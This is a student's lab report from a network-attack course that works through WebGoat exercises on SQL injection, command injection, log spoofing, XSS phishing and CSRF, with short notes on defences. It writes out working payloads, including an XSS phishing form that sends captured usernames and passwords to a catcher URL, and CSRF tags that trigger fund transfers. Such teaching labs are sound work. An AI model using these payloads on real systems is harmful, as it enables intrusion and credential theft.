2019-2020-2 20175325石淦铭《网络对抗技术》Exp9 Web安全基础
目录:
- 实践内容
- 基础问题回答
- 实验步骤
- 实验感想
实践内容:
- 本实践的目标理解常用网络攻击技术的基本原理。
- 做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
基础问题回答:
(1)SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
- 关闭或删除不必要的交互式提交表单页面;
- 对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;
- 不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。
(2)XSS攻击的原理,如何防御?
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
- 防御:
- 在输入方面对所有用户提交内容进行可靠的输入验证(提交内容包括URL、查询关键字、http头、post数据等)
- 在输出方面,在用户输内容中使用
XMP
标签。标签内的内容不会解释,直接显示。 - 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“
javascript
”这个关键字进行检索,一旦发现提交信息中包含“javascript
”,就认定为XSS攻击。
(3)CSRF攻击原理,如何防御?
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为
CSRF
或者XSRF
,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。 - 防御:
- 将持久化的授权方法切换为瞬时的授权方法。
- 在form中包含秘密信息、用户指定的代号作为
cookie
之外的验证。 - 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的
cookie
。
实验步骤:
任务一:WebGoat
- 使用
java -version
查看jdk版本
- 下载webgoat-container-7.0.1-war-exec.jar,然后输入
java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat
- 打开浏览器输入
127.0.0.1:8080/WebGoat
,使用默认名和密码登录。
- 登陆成功:
任务二:SQL注入攻击
命令注入
-
在菜单栏中选择
Injection Flaws
,展开页面中选择Command Injection
-
右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,在复选框中对应位置第一个option的代码,双击进行修改,添加
"& netstat -an & ipconfig"
-
点击
view
可以看到执行指令后的网络端口使用情况和IP地址,则说明攻击成功。
数字型注入
-
选择
Numeric SQL Injection
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
-
点击
GO
显示所有城市的天气情况,攻击成功。
日志欺骗
-
选择
Log Spoofing
,在 username 中填入20175325%0d%0aLogin Succeeded for username: admin
(其中0D%是回车,%0A是换行符)
-
将
admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息。
字符串注入
-
在
SQL Injection
的展开页面中选择String SQL Injection
-
正常情况下只能查询到用户名对应的信用卡号码,输入查询的用户名
Smith' or 1=1--
若得到所有用户的信用卡号码,攻击成功。
数字型 SQL 注入
-
选择
Numeric SQL Injection
-
使用用户名 Larry,密码 larry 登录
-
右键点击页面,选择
inspect Element
,将员工ID的value改成101 or 1=1 order by salary desc
-
点击
ViewProfile
,即可查询到最高纪录的结果
任务三:XSS攻击
XSS 钓鱼
-
在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Phishing with XSS
-
在
search
框中输入以下代码后点击search
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
-
在跳出的登录框中,输入用户名及密码进行登录
-
登录后,可以看见登陆信息
存储型XSS攻击
-
选择
Stored XSS Attacks
-
在title中任意输入字符,留言板中输入
<script>alert("I am 20175325sgm. You've been attacked!!!");</script>
-
点击
submit
后,点击刚刚输入的字符
任务四:CSRF攻击
跨站请求伪造
-
在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Cross Site Request Forgery (CSRF)
-
在title中输入任何参数(学号),根据自己参数的实际情况message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
-
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击
Submit
提交
绕过 CSRF 确认
-
选择
CSRF Prompt By‐Pass
-
在title框中输入学号,message框中输入代码
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
,点击链接,攻击成功
实验感想:
这是最后一个实验了,此次实验中,按着步骤来,不难操作,上个实验接触过SQL和XSS了,所以这一次更加深了对他们攻击的理解。XSS涉及到web编程很多的内容,做实验过程中直观的先认识到实验内容,思考怎么样会成功,然后再推敲是怎么成功的,也让我对这些攻击的原理有了进一步的理解。同时也加强了我对这些语言的理解,收获多多。